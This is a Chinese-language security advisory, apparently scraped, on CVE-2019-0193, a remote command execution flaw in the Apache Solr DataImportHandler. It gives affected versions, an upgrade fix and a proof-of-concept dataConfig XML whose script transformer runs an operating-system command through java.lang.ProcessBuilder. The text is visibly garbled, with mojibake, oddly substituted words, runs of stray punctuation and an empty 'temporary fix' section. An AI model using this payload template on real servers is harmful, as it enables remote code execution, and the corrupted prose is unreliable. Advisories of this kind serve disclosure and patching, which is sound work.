Apache Solr远程下令执行误差处置惩罚建议
宣布时间 2019-08-08? 误差编号和级别
CVE编号：CVE-2019-0193，，， ，，，，危险级别：严重，，， ，，，，CVSS分值：官方未评定
? 影响版本
受影响的版本
适用于Solr < 8.2.0且开启了DataImport功效。。。。 。
? 误差概述
Apache Solr是美国阿帕奇（Apache）软件基金会的一款基于Lucene（一款全文搜索引擎）的搜索效劳器。。。。 。该产品支持层面搜索、笔直搜索、高亮显示搜索效果等。。。。 。
此次误差泛起在Apache Solr的DataImportHandler，，， ，，，，该模� ？ ？？槭且桓隹裳〉Ｓ玫哪？ ？ ？？椋�，， ，，，，用于从数据库和其他源中提取数据。。。。 。
该误差源于用户在solrconfig.xml文件中设置了DataImportHandler，，， ，，，，开启了DataImport功效。。。。 。DataImportHandler模� ？ ？？樵市碛没ё约喊ň绫荆�，， ，，，，来举行设置。。。。 。攻击者可以通过结构恶意的剧本交由转换器举行剖析，，， ，，，，在Solr剖析的历程中并未对用户的输入做检查，，， ，，，，可导致攻击者远程在Solr效劳器上执行下令。。。。 。
? 误差验证
POC:
<dataConfig>
<dataSource name="fromMysql"
type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"
user="root"
password="123456"/>
<script ><![CDATA[
function f2c(row) {
var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
return row;
}
]]>
</script>
<document>
<entity name="Users" query="SELECT 1" transformer="script:f2c">
</entity>
</document>
</dataConfig>
会见url:http://ip:8983/solr/#/core1/dataimport//dataimport，，， ，，，，保存这个路径，，， ，，，，就证实用户的solr，，， ，，，，有可选模� ？ ？？镈ataImportHandler，，， ，，，，保存误差使用危害。。。。 。详见下图：
? 修复建议
将Apache Solr升级至8.2.0或更高的版本。。。。 。
暂时修复建议：
? 参考链接
https://issues.apache.org/jira/browse/SOLR-13669
京公网安备11010802024551号